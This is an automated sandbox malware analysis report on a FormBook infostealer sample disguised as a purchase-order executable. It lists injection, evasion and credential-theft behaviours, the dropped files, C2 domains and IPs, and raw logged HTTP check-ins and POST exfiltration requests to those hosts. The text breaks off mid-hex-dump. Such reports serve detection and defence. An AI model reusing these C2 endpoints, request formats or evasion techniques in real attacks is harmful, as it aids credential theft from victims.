Windows Analysis Report
New PO-RJ-IN-003 - Knauf Queimados.exe

Overview

General Information

Sample Name: New PO-RJ-IN-003 - Knauf Queimados.exe
Analysis ID: 755933
MD5: 244fc9610f75225aa3dc09958195beb1
SHA1: ef0d6103d27090fc9d25e3ef3de2e1b6d9670d9c
SHA256: 05cdda3567b913d99627f8e41336404d5830816df65e1001d6b2ad05bd9ed18d
Tags: exe
Infos:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Multi AV Scanner detection for submitted file
Yara detected FormBook
Malicious sample detected (through community Yara rule)
System process connects to network (likely due to code injection or exploit)
Multi AV Scanner detection for dropped file
Snort IDS alert for network traffic
Sample uses process hollowing technique
Tries to steal Mail credentials (via file / registry access)
Maps a DLL or memory area into another process
Machine Learning detection for sample
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Machine Learning detection for dropped file
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Tries to harvest and steal browser information (history, passwords, etc)
Uses 32bit PE files
Yara signature match
One or more processes crash
Contains functionality to check if a debugger is running (IsDebuggerPresent)
May sleep (evasive loops) to hinder dynamic analysis
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Contains functionality to read the clipboard data
HTTP GET or POST without a user agent
Contains functionality which may be used to detect a debugger (GetProcessHeap)
IP address seen in connection with other malware
Enables debug privileges
Creates a DirectInput object (often for capturing keystrokes)
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Checks if the current process is being debugged
Contains functionality to retrieve information about pressed keystrokes
Found large amount of non-executed APIs
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality for read data from the clipboard

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: New PO-RJ-IN-003 - Knauf Queimados.exe ReversingLabs: Detection: 27%
Yara detected FormBook
Source: Yara match File source: 2.2.jaxdij.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.jaxdij.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000002.821380016.0000000000500000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.417309274.0000000001060000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.417458366.0000000001090000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.822152428.0000000004480000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000000.383481318.000000001091F000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.821985368.0000000002CC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.415905710.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe ReversingLabs: Detection: 12%
Source: C:\Users\user\AppData\Roaming\fqkyib\rubthqnwyfue.exe ReversingLabs: Detection: 12%
Machine Learning detection for sample
Source: New PO-RJ-IN-003 - Knauf Queimados.exe Joe Sandbox ML: detected
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\fqkyib\rubthqnwyfue.exe Joe Sandbox ML: detected
Source: 0000000B.00000002.821380016.0000000000500000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: FormBook {"C2 list": ["www.spirituallyzen.com/m9ae/"]}
Uses 32bit PE files
Source: New PO-RJ-IN-003 - Knauf Queimados.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: Binary string: wntdll.pdbUGP source: jaxdij.exe, 00000001.00000003.304952099.0000000002EB0000.00000004.00001000.00020000.00000000.sdmp, jaxdij.exe, 00000001.00000003.305442147.0000000002D20000.00000004.00001000.00020000.00000000.sdmp, jaxdij.exe, 00000002.00000002.418718390.00000000012A0000.00000040.00000800.00020000.00000000.sdmp, jaxdij.exe, 00000002.00000003.308889857.0000000000F6D000.00000004.00000800.00020000.00000000.sdmp, jaxdij.exe, 00000002.00000003.310322417.0000000001101000.00000004.00000800.00020000.00000000.sdmp, jaxdij.exe, 00000002.00000002.419932774.00000000013BF000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.822319610.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000003.418994755.000000000452C000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000003.416346932.000000000438A000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.823052893.00000000047DF000.00000040.00000800.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: jaxdij.exe, 00000001.00000003.304952099.0000000002EB0000.00000004.00001000.00020000.00000000.sdmp, jaxdij.exe, 00000001.00000003.305442147.0000000002D20000.00000004.00001000.00020000.00000000.sdmp, jaxdij.exe, 00000002.00000002.418718390.00000000012A0000.00000040.00000800.00020000.00000000.sdmp, jaxdij.exe, 00000002.00000003.308889857.0000000000F6D000.00000004.00000800.00020000.00000000.sdmp, jaxdij.exe, 00000002.00000003.310322417.0000000001101000.00000004.00000800.00020000.00000000.sdmp, jaxdij.exe, 00000002.00000002.419932774.00000000013BF000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.822319610.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000003.418994755.000000000452C000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000003.416346932.000000000438A000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.823052893.00000000047DF000.00000040.00000800.00020000.00000000.sdmp
Source: Binary string: rundll32.pdb source: jaxdij.exe, 00000002.00000002.417087880.0000000000E69000.00000004.00000020.00020000.00000000.sdmp, jaxdij.exe, 00000002.00000002.418036056.0000000001280000.00000040.10000000.00040000.00000000.sdmp
Source: Binary string: rundll32.pdbGCTL source: jaxdij.exe, 00000002.00000002.417087880.0000000000E69000.00000004.00000020.00020000.00000000.sdmp, jaxdij.exe, 00000002.00000002.418036056.0000000001280000.00000040.10000000.00040000.00000000.sdmp
Source: C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe Code function: 0_2_00405620 CloseHandle,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA, 0_2_00405620
Source: C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe Code function: 0_2_00405FF6 FindFirstFileA,FindClose, 0_2_00405FF6
Source: C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe Code function: 0_2_00402654 FindFirstFileA, 0_2_00402654
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 1_2_002552D3 FindFirstFileExW, 1_2_002552D3
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 1_2_00255387 FindFirstFileExW,FindNextFileW,FindClose,FindClose, 1_2_00255387
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_002552D3 FindFirstFileExW, 2_2_002552D3
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_00255387 FindFirstFileExW,FindNextFileW,FindClose,FindClose, 2_2_00255387

Networking
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.publickit.website
Source: C:\Windows\explorer.exe Network Connect: 74.208.236.65 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.dailyheraldresearch.com
Source: C:\Windows\explorer.exe Domain query: www.ybkos.link
Source: C:\Windows\explorer.exe Domain query: www.tommy57.shop
Source: C:\Windows\explorer.exe Network Connect: 38.40.166.195 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 62.233.121.61 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.oonrreward.xyz
Source: C:\Windows\explorer.exe Domain query: www.frwqc.com
Source: C:\Windows\explorer.exe Network Connect: 178.208.83.20 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 172.67.214.243 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 198.54.121.81 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.lee-perez.com
Source: C:\Windows\explorer.exe Network Connect: 206.83.40.92 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 107.148.15.81 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.davidemarone.com
Source: C:\Windows\explorer.exe Domain query: www.porggiret.site
Source: C:\Windows\explorer.exe Network Connect: 93.179.127.27 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 23.111.12.177 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 74.208.236.214 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.bookmygennie.com
Source: C:\Windows\explorer.exe Domain query: www.gmrsnodes.com
Source: C:\Windows\explorer.exe Domain query: www.new-thinking.digital
Source: C:\Windows\explorer.exe Network Connect: 192.185.90.105 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.tobewell.store
Source: C:\Windows\explorer.exe Domain query: www.700544.com
Source: C:\Windows\explorer.exe Domain query: www.amspustaka.com
Source: C:\Windows\explorer.exe Network Connect: 188.114.97.3 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 38.163.214.169 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.spirituallyzen.com
Source: C:\Windows\explorer.exe Network Connect: 216.40.34.41 80 Jump to behavior
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49736 -> 93.179.127.27:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49736 -> 93.179.127.27:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49736 -> 93.179.127.27:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49749 -> 107.148.15.81:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49749 -> 107.148.15.81:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49749 -> 107.148.15.81:80
Performs DNS queries to domains with low reputation
Source: C:\Windows\explorer.exe DNS query: www.oonrreward.xyz
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.spirituallyzen.com/m9ae/
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: HOSTSLIM-GLOBAL-NETWORKNL HOSTSLIM-GLOBAL-NETWORKNL
Source: Joe Sandbox View ASN Name: PEGTECHINCUS PEGTECHINCUS
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=LevhYPqdwsQo7WECD6x58K9v32wKr9jEH/unqFqLIkFUX6m7L7+nio4XOLlDaWup3nHmZdjhK28JVchKAobJnM2R7Dp3tDlOSA==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.oonrreward.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=mwF44ViOu9spAX9yiKWO/GCmf5D0pm7R930/p+8373gvxGpTfL4o/Lm9AHizqU6H72eF1eWgDLpzZ2SfuF6Kyw289k0D2VxhyA==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.gmrsnodes.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=q+GqSbkO5kqO+W9u2R8uyv/azK/Tyw9Ktq6EIVL87IABA33EfP0KANVapKUQlEGAPHMNZ2Czo2C9EtWkfzzg2b9ydKIDbcUulA==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.dailyheraldresearch.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=XxObD+bozu8R8o86HZokIAwRDcTSUgt1X0zVs8jY2xx2j7amGX2Nanqc4HjuSpD/F/TSiqNoyiNwTcXhTU7ob6qQALfoq6EoqQ==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.publickit.websiteConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=nJLDtYwD0af/ePmsJ0ZKjiSVJI8rGVPKc+UQspc6K5yuMKQDKTWfrb6tVbro5/Rq1DJ6W8y/y+8M88qCUODrzxtLw2C30JMyEA==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.lee-perez.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=pynBU+gmcVJLvmAk24XYTH3CuEH61wNq2RizpB0aNcQM45kGiq+MbQwB99t5gTqC+tvIVg5qQAlCnSYFpOBmFRnmyN3XSGsj5w==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.frwqc.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=SKemUsRCc/T/1VtJMmoBZUTfzvZVAKOrpHPFHv5bIcLS1NPOIJ3jWavklE8DT12a+oeWOwZfdDSidPGYCemgiB/muCJBu0rQaA==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.tommy57.shopConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=Mu7XrmbNuBpRkVuoTBGU/iHqS/OhVA7Any/uXbqYT12baRfdD/rxJiFT6KJrK4J1cV2pSA20UCfshAzQrgjlnBPfig9iswk20g==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.700544.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=la9UBuDbTkNYLSjTdKhHvd+t7tYwPiF7FtZOQELnOBzejFZlEJsWuQ55NoeYz7TqoHjnmCP3NdRIHdLBoOXytpXMXLmthCtowg==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.porggiret.siteConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=IYAlNlE+FJHaxy8xKQwy2r7+8XL3SaTnyfpqtFACBxvA1+IYQm/X+/KTYzdsJPpQzBa/f1IulPzZtkKHtHHlpgqy4oXa9op1jw==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.tobewell.storeConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=yeGgPnkUyrtnR7ayT+iAJkQi5P+hLqfzRu7/UIGlFriReHTN1+d7DIiWZVVmKJ4cvvB3dwEDWmLuBMYDpMvfxEUSQC8X9wPCmA==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.new-thinking.digitalConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=19Acn/cRxsS2hMIvbksqz2Fo9/tvE3PmoTWmDY67F7eOm0DJL1plqZyOKvwSm3g2XK4MIkQK6hC8KTphNB2J9vZOQC2YpVwH6g==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.ybkos.linkConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=6mtkb9sgLdU5EKgBox+sPzjX7gz7/N2rxrRH87049IJ0dh9Tn6WPD5ftVfyzJnBGA3PJpfJHiW/BJrwPQwZWSWvRAWejN4CLLw==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.bookmygennie.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=qV5DC7gvSDrvRRGewn1q/I/EwjqoLGbs6Pm0OHOL9iW03iXh+4kaxlrb2hUer6xMCUxzC2FjXkfJjvQV3jFRWlDNN37fVrd03A==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.amspustaka.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=4ec4fK6CMrtHuja3pViXkl8dlfKAbA0cl+B6ZD+yu2XjTt2h0hV8coMCjgRVKURuW2bGAgNBkAmkGWEjBIBjWi0t+MmK3uNJiA==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.spirituallyzen.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=LevhYPqdwsQo7WECD6x58K9v32wKr9jEH/unqFqLIkFUX6m7L7+nio4XOLlDaWup3nHmZdjhK28JVchKAobJnM2R7Dp3tDlOSA==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.oonrreward.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 62.233.121.61 62.233.121.61
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: POST /m9ae/ HTTP/1.1Host: www.gmrsnodes.comConnection: closeContent-Length: 410Cache-Control: no-cacheOrigin: http://www.gmrsnodes.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.gmrsnodes.com/m9ae/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 46 36 7a 34 3d 72 79 74 59 37 68 71 32 6b 38 49 32 45 58 35 31 74 73 44 36 7e 30 75 53 52 72 4c 79 7a 30 54 75 34 6d 46 4c 76 76 77 49 7e 78 6b 7a 68 45 64 65 4a 70 4a 66 6d 36 65 52 64 30 33 53 68 47 65 6c 31 45 66 54 33 76 6a 38 45 72 46 7a 42 30 53 55 32 6e 65 33 38 51 4c 57 6f 56 49 4b 7e 46 4e 73 35 58 51 78 4a 5f 6e 66 7e 63 75 52 28 4e 63 54 4a 2d 54 4f 7a 47 4b 44 58 64 73 2d 54 39 72 4a 67 64 76 33 4b 7a 72 51 58 72 50 69 5a 32 7e 64 73 42 33 54 69 5a 36 58 4d 42 50 6f 64 4a 4d 39 59 79 77 31 36 48 77 71 6c 6b 4e 32 58 48 6a 6f 68 79 72 76 33 4e 62 61 6e 50 48 68 65 42 6b 72 46 7a 70 53 6a 51 49 78 57 42 43 76 53 30 4d 6d 78 6f 41 77 48 41 32 47 4a 72 54 70 76 70 4b 51 58 44 72 54 67 30 58 56 33 6b 37 58 6f 6b 50 69 43 73 48 6b 54 73 6b 4d 6f 49 38 36 61 59 72 54 32 61 31 73 6a 54 61 65 4a 52 47 6b 4d 6d 76 31 51 58 6d 62 52 67 64 62 62 61 65 55 6b 74 6c 58 30 61 66 64 38 6e 53 57 5a 6d 77 55 47 6d 51 33 6c 41 48 4a 57 37 7a 72 64 4c 37 47 61 43 4f 71 71 5f 5a 44 31 70 6d 70 37 5f 73 63 61 66 50 39 66 5a 38 47 59 4e 35 48 48 48 47 36 56 62 61 2d 77 71 78 53 30 47 55 66 66 31 64 48 37 76 4c 35 70 68 33 78 6c 4a 53 4c 5a 4d 34 4a 5a 75 33 38 69 37 4e 69 6c 36 70 67 48 39 46 6e 30 35 33 33 63 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: F6z4=rytY7hq2k8I2EX51tsD6~0uSRrLyz0Tu4mFLvvwI~xkzhEdeJpJfm6eRd03ShGel1EfT3vj8ErFzB0SU2ne38QLWoVIK~FNs5XQxJ_nf~cuR(NcTJ-TOzGKDXds-T9rJgdv3KzrQXrPiZ2~dsB3TiZ6XMBPodJM9Yyw16HwqlkN2XHjohyrv3NbanPHheBkrFzpSjQIxWBCvS0MmxoAwHA2GJrTpvpKQXDrTg0XV3k7XokPiCsHkTskMoI86aYrT2a1sjTaeJRGkMmv1QXmbRgdbbaeUktlX0afd8nSWZmwUGmQ3lAHJW7zrdL7GaCOqq_ZD1pmp7_scafP9fZ8GYN5HHHG6Vba-wqxS0GUff1dH7vL5ph3xlJSLZM4JZu38i7Nil6pgH9Fn0533cQ).
Source: global traffic HTTP traffic detected: POST /m9ae/ HTTP/1.1Host: www.gmrsnodes.comConnection: closeContent-Length: 186Cache-Control: no-cacheOrigin: http://www.gmrsnodes.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.gmrsnodes.com/m9ae/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 46 36 7a 34 3d 72 79 74 59 37 68 71 32 6b 38 49 32 45 67 56 31 74 62 33 36 6d 6b 75 53 65 4c 4c 30 7a 30 54 70 34 6d 46 55 76 75 45 69 28 43 30 7a 68 32 46 65 4a 37 52 66 71 61 65 53 46 45 32 5a 75 6d 66 6e 31 45 65 36 33 75 66 38 45 72 52 7a 42 32 61 55 32 55 6d 30 39 51 4c 55 75 56 49 4a 36 46 4e 35 35 57 38 62 4a 2d 4c 66 7e 65 6d 52 28 2d 45 54 4a 4d 72 52 6c 57 4b 43 53 64 73 35 61 64 72 37 67 64 76 4e 4b 7a 72 36 58 70 33 69 59 43 53 64 73 6e 44 53 73 5a 36 57 43 68 4f 6f 4e 4d 6f 78 56 51 45 4a 77 30 6b 76 34 6b 6b 55 53 45 32 6a 30 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: F6z4=rytY7hq2k8I2EgV1tb36mkuSeLL0z0Tp4mFUvuEi(C0zh2FeJ7RfqaeSFE2Zumfn1Ee63uf8ErRzB2aU2Um09QLUuVIJ6FN55W8bJ-Lf~emR(-ETJMrRlWKCSds5adr7gdvNKzr6Xp3iYCSdsnDSsZ6WChOoNMoxVQEJw0kv4kkUSE2j0g).
Source: global traffic HTTP traffic detected: POST /m9ae/ HTTP/1.1Host: www.dailyheraldresearch.comConnection: closeContent-Length: 410Cache-Control: no-cacheOrigin: http://www.dailyheraldresearch.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.dailyheraldresearch.com/m9ae/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 46 36 7a 34 3d 6e 38 75 4b 52 72 6f 73 30 77 37 45 71 69 56 70 6f 43 5a 55 72 39 37 74 39 5a 47 50 70 7a 4e 54 76 4a 4f 41 45 6d 76 53 6c 49 4e 4c 47 6c 62 55 62 66 52 37 58 4f 4a 56 6f 59 6c 78 73 45 36 57 45 43 6b 61 64 58 33 6a 73 55 7e 4b 66 4d 62 37 65 78 37 68 32 4c 64 48 4c 37 77 34 64 63 63 72 6e 77 6b 68 65 79 44 33 50 47 77 4a 53 49 49 69 70 54 64 48 44 74 49 70 28 4d 6f 30 76 54 42 49 76 4f 5a 47 78 65 42 62 65 45 55 6f 6c 6d 47 42 69 76 43 50 28 72 69 33 32 74 41 77 37 4a 43 66 54 4d 39 5f 52 58 28 6d 6c 6c 62 4a 64 74 42 32 71 42 5a 6c 4b 57 79 32 57 34 32 30 4c 44 6f 36 6f 79 42 37 51 4e 72 57 30 77 54 74 31 4e 57 51 44 66 7a 6c 67 4b 63 46 68 6b 33 6e 63 78 4e 46 4a 6a 47 59 36 53 71 52 48 52 31 51 56 68 7a 63 79 6d 64 54 7a 72 4e 38 39 4a 33 6e 70 7a 77 55 73 70 72 70 28 58 61 68 68 6c 56 44 66 65 64 4f 50 6c 31 51 6d 2d 46 69 6b 36 57 77 34 4a 72 70 44 32 63 35 59 73 72 54 53 45 64 63 43 5a 33 51 37 53 76 4b 4c 45 6c 30 66 51 65 4b 74 47 75 6a 6a 55 68 4d 6a 47 30 4c 6d 42 72 5a 30 76 61 7a 4a 4c 72 43 67 50 79 63 6c 79 62 65 50 6b 75 5f 45 63 61 53 6a 66 76 4a 30 6d 33 30 28 70 4d 33 50 36 4f 33 34 71 58 49 34 59 51 53 77 2d 6e 47 33 6f 76 64 65 79 32 62 6b 4b 46 42 77 6d 4f 70 35 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: F6z4=n8uKRros0w7EqiVpoCZUr97t9ZGPpzNTvJOAEmvSlINLGlbUbfR7XOJVoYlxsE6WECkadX3jsU~KfMb7ex7h2LdHL7w4dccrnwkheyD3PGwJSIIipTdHDtIp(Mo0vTBIvOZGxeBbeEUolmGBivCP(ri32tAw7JCfTM9_RX(mllbJdtB2qBZlKWy2W420LDo6oyB7QNrW0wTt1NWQDfzlgKcFhk3ncxNFJjGY6SqRHR1QVhzcymdTzrN89J3npzwUsprp(XahhlVDfedOPl1Qm-Fik6Ww4JrpD2c5YsrTSEdcCZ3Q7SvKLEl0fQeKtGujjUhMjG0LmBrZ0vazJLrCgPyclybePku_EcaSjfvJ0m30(pM3P6O34qXI4YQSw-nG3ovdey2bkKFBwmOp5g).
Source: global traffic HTTP traffic detected: POST /m9ae/ HTTP/1.1Host: www.dailyheraldresearch.comConnection: closeContent-Length: 186Cache-Control: no-cacheOrigin: http://www.dailyheraldresearch.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.dailyheraldresearch.com/m9ae/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 46 36 7a 34 3d 6e 38 75 4b 52 72 6f 73 30 77 37 45 71 78 39 70 38 52 68 55 79 4e 37 74 79 35 47 53 70 7a 4e 49 76 4a 4f 45 45 6a 4f 66 77 76 70 4c 47 30 72 55 61 71 6c 37 57 4f 4a 57 6e 34 6b 36 6f 45 36 44 45 43 6b 73 64 57 4c 6a 73 55 61 4b 66 4d 4c 37 65 6e 7a 69 33 4c 64 42 47 62 77 33 5a 63 63 2d 6e 77 34 4c 65 7a 44 33 50 46 49 4a 53 62 77 69 6f 42 31 49 48 4e 49 6f 7a 73 6f 76 68 7a 42 36 76 4f 5a 34 78 65 41 2d 65 48 38 6f 6b 53 71 42 6a 4e 71 49 6c 37 69 49 6f 64 42 2d 71 72 69 56 51 63 46 56 53 79 72 6a 30 47 71 57 56 38 6b 2d 7e 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: F6z4=n8uKRros0w7Eqx9p8RhUyN7ty5GSpzNIvJOEEjOfwvpLG0rUaql7WOJWn4k6oE6DECksdWLjsUaKfML7enzi3LdBGbw3Zcc-nw4LezD3PFIJSbwioB1IHNIozsovhzB6vOZ4xeA-eH8okSqBjNqIl7iIodB-qriVQcFVSyrj0GqWV8k-~g).
Source: global traffic HTTP traffic detected: POST /m9ae/ HTTP/1.1Host: www.publickit.websiteConnection: closeContent-Length: 410Cache-Control: no-cacheOrigin: http://www.publickit.websiteUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.publickit.website/m9ae/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 46 36 7a 34 3d 61 7a 6d 37 41 4a 33 58 34 39 31 75 77 66 4a 75 66 62 6b 64 47 53 73 53 4f 2d 37 70 43 43 74 36 58 31 62 63 75 38 65 31 33 78 35 6c 68 6f 33 4b 4c 46 53 77 62 43 79 79 78 33 71 4b 5a 65 4f 5a 63 4b 72 38 73 4a 39 6c 33 67 56 64 52 76 47 77 44 57 66 57 57 74 61 45 58 49 37 56 67 61 6f 77 6b 64 54 54 6c 71 5a 79 69 4a 46 49 66 52 75 56 43 5a 77 2d 44 37 6b 32 6a 75 6a 43 6f 48 79 75 36 45 62 59 46 42 35 78 7a 67 32 32 75 5f 31 56 42 76 32 58 33 70 35 33 55 79 44 31 4e 33 45 66 7a 31 74 76 62 6b 79 45 73 5a 76 42 34 77 45 77 38 49 37 4c 4b 61 72 43 6e 55 28 69 30 5a 56 57 42 7a 30 51 4b 67 75 50 7a 6c 31 42 6d 50 51 79 46 6e 7e 77 53 57 4f 49 6f 48 38 79 54 6a 52 55 4f 71 68 69 56 78 74 5a 7a 47 51 52 28 4f 62 78 50 4e 6a 63 5a 49 4e 57 41 4d 51 79 42 64 44 39 73 67 70 73 57 42 73 2d 63 6c 71 62 4f 4a 54 6d 4c 4f 42 69 7a 56 53 62 4d 75 70 39 6e 55 45 41 36 68 65 79 6d 32 6a 77 6e 41 42 5f 42 62 4c 5a 53 61 6a 73 65 63 34 46 39 70 47 34 69 53 44 53 58 4f 5a 68 62 47 59 62 50 4c 61 42 76 47 37 51 6e 69 28 78 62 4d 6b 30 37 6e 6a 6b 75 47 35 62 73 55 72 62 7a 51 78 62 53 37 44 